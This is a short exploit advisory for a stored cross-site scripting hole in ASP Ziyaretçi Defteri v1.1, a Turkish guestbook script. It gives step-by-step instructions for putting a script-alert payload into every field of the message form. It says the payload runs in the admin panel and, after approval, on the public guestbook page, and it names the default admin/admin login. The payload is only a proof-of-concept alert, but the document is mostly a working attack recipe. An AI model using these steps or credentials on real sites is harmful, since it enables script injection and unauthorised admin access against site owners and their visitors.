ASP Ziyaretçi Defteri v1.1 (tr) XSS Vulnerability

#Software: ASP Ziyaretçi Defteri v1.1 (tr)
#download: http://www.aspindir.com/goster/4882
#demo: http://www.hiddenchest.com/kodlarim/ziyaret/
#Found By: GeFORC3 ( G3 )

#Exploit:

1-http://www.example.com/ziyaret/mesaj_formu.asp

Isim:  <script>alert("G3");</script>
E-posta: <script>alert("G3");</script>
Mesajiniz:     <script>alert("G3");</script>

Press to "Gönder"(send) button.

2-
Yönetici paneli (admin panel):
http://www.example.com/ziyaret/default.asp (default user:admin pass:admin)
press "gir" button.
http://www.example.com/default.asp?islem=login   --> running xss code


This xss works on ASP Ziyaretçi Defteri v1.1 (tr) script's Yönetici Paneli
(admin panel)

if  eðer admin mesajý onaylarsa (active ederse) xss code çalýþýr guestbook's
main page (ziyaretçi defterinin ana sayfasýnda)

if admin checked your message (xss code)
xss code running ASP Ziyaretçi Defteri v1.1's (guestbook's) main page (
http://example.com/ziyaret/ziyaretci_mesajlari.asp)


WwW.GeFORC3.Org  |  WwW.HeykirBlog.Org  |  WwW.NetKaBus.Com